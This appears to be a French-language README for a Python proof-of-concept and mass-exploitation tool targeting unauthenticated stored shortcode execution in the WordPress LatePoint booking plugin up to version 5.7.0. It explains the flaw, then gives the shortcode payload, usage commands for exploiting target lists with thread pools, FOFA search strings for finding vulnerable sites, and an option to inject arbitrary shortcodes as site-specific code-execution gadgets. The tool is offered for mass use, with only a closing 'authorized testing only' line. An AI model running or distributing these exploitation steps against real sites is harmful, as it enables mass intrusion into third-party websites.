
PoC Python et outil d'exploitation de masse pour CVE-2026-92966, une exécution de shortcode stocké non authentifiée dans WordPress LatePoint ≤5.7.0 via les champs de nom de réservation.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-92966 |
| Produit | LatePoint — Réservation de rendez-vous |
| Affecté | ≤ 5.7.0 |
| Corrigé | 5.7.1 |
| CWE | CWE-94 — Injection de code (exécution de shortcode) |
| CVSS 3.1 | 9.1 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| Découvreur | hashiramasenju333 |
| Catalogue PoCbit | https://pocbit.org/pocs/ |
| Page PoCbit | https://pocbit.org/pocs/cve-2026-92966 |
| Marqueur de vérification | POCBIT-92966-OK |
| Avis | Wordfence Threat Intel |
PoC Python aligné sur CVE-2026-102425 : exploitation de masse par défaut, --check, -u, --lab, pool de threads, hits.txt / exploited.txt. Aucune clé API — implantation entièrement non authentifiée via le flux de réservation public.
WordPress LatePoint permet aux visiteurs anonymes de réserver des rendez-vous. Le prénom / nom du client sont stockés avec seulement sanitize_text_field() — les crochets ne sont pas supprimés, donc des valeurs comme [caption]…[/caption] persistent.
Lorsque le site affiche le bloc Gutenberg Customer Cabinet (render_customer_dashboard() → [latepoint_customer_dashboard]), le modèle du tableau de bord imprime le nom du client dans le HTML (Welcome %s avec esc_html($customer->full_name)). esc_html n'encode pas [ ni ], donc les charges utiles de type shortcode survivent dans la sortie du bloc.
WordPress exécute ensuite do_shortcode sur the_content à la priorité 11. Comme 5.7.0 renvoyait le HTML brut du tableau de bord depuis le gestionnaire de shortcode, les shortcodes stockés dans la ligne de bienvenue étaient analysés une seconde fois et exécutés. 5.7.1 corrige cela par encode_shortcode_delimiters() sur la sortie du tableau de bord (voir le commentaire dans shortcodes_helper.php : « the_content exécute do_shortcode à la priorité 11 »).
Impact : exécution arbitraire de shortcode non authentifiée. Ce n'est pas toujours une RCE OS instantanée en soi, mais sur une pile WordPress typique, cela s'enchaîne vers des plugins critiques (formulaires, constructeurs, gestionnaires de fichiers, shortcodes basés sur eval). Le PoC prouve l'exécution avec le shortcode cœur [caption] et un POCBIT_EXEC_SHORTCODE optionnel pour des gadgets RCE spécifiques au site.
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name] (ou last_name) sur une charge utile de shortcode.do_shortcode se déclenche.Références dans le code source du fournisseur (5.7.0) :
lib/models/customer_model.php — prepare_data_before_it_is_set() / sanitize_text_field sur les nomslib/views/customer_cabinet/dashboard.php — ligne de bienvenue avec full_namelib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php (5.7.1) — encode_shortcode_delimiters()| Fichier | Objectif |
|---|---|
poc.py | CLI, menu interactif, exploitation de masse |
_engine.py | Vérification de version, tentative de plant de réservation, déclenchement du tableau de bord, lab |
up.php | Fichier de sonde optionnel si votre shortcode RCE dépose des fichiers |
targets.example.txt | Liste d'URL pour le traitement en masse |
extract-5.7.0/ / extract-5.7.1/ | Arborescences du fournisseur pour diff (optionnel) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
Empreinte : Stable tag de readme.txt, indices front-end de LatePoint (latepoint-book-form, latepoint_helper), version ≤ 5.7.0.
python poc.py -u https://target.example --check
python poc.py -u https://target.example
Si la cible dispose d'un shortcode dangereux (gestionnaire de fichiers, etc.) :
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
Ou : python poc.py -u URL --exec-shortcode "[shortcode]"
La sonde par défaut utilise le shortcode du cœur WordPress [caption]POCBIT-92966-OK[/caption] (aucune extension supplémentaire requise pour prouver l'exécution).
python poc.py --lab
Se lie à 127.0.0.1:8797, simule le readme 5.7.0, la réservation de plante et le double do_shortcode sur le HTML du tableau de bord. Attendez-vous à "exploited": true.
| Statut | Signification |
|---|---|
affected | Version ≤ 5.7.0 (mode vérification) |
exploited | Marqueur après l'assistant de réservation + page Espace client connecté |
plant_no_auth_cookie | Nom planté mais aucun cookie de connexion client/WP depuis admin-ajax |
plant_missing_service_id | L'assistant de réservation n'a aucun service public à sélectionner |
plant_otp_required / plant_auth_blocked | Étape client bloquée par OTP ou politique de connexion |
no_customer_cabinet_page | Session OK mais aucune page [latepoint_customer_dashboard] trouvée |
shortcode_not_triggered | Plant + session OK ; espace client chargé mais marqueur non exécuté |
patched_skip | ≥ 5.7.1 |
no_latepoint | Extension non détectée |
Exemples FOFA / recherche :
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
Le taux de réussite de l'exploit dépend de : l'assistant de réservation accessible sans paiement, le bloc Customer Cabinet publié, la session invité après réservation.
[ dans customer[first_name] / last_name sur latepoint_route_call — temporaire uniquement.Tests autorisés uniquement.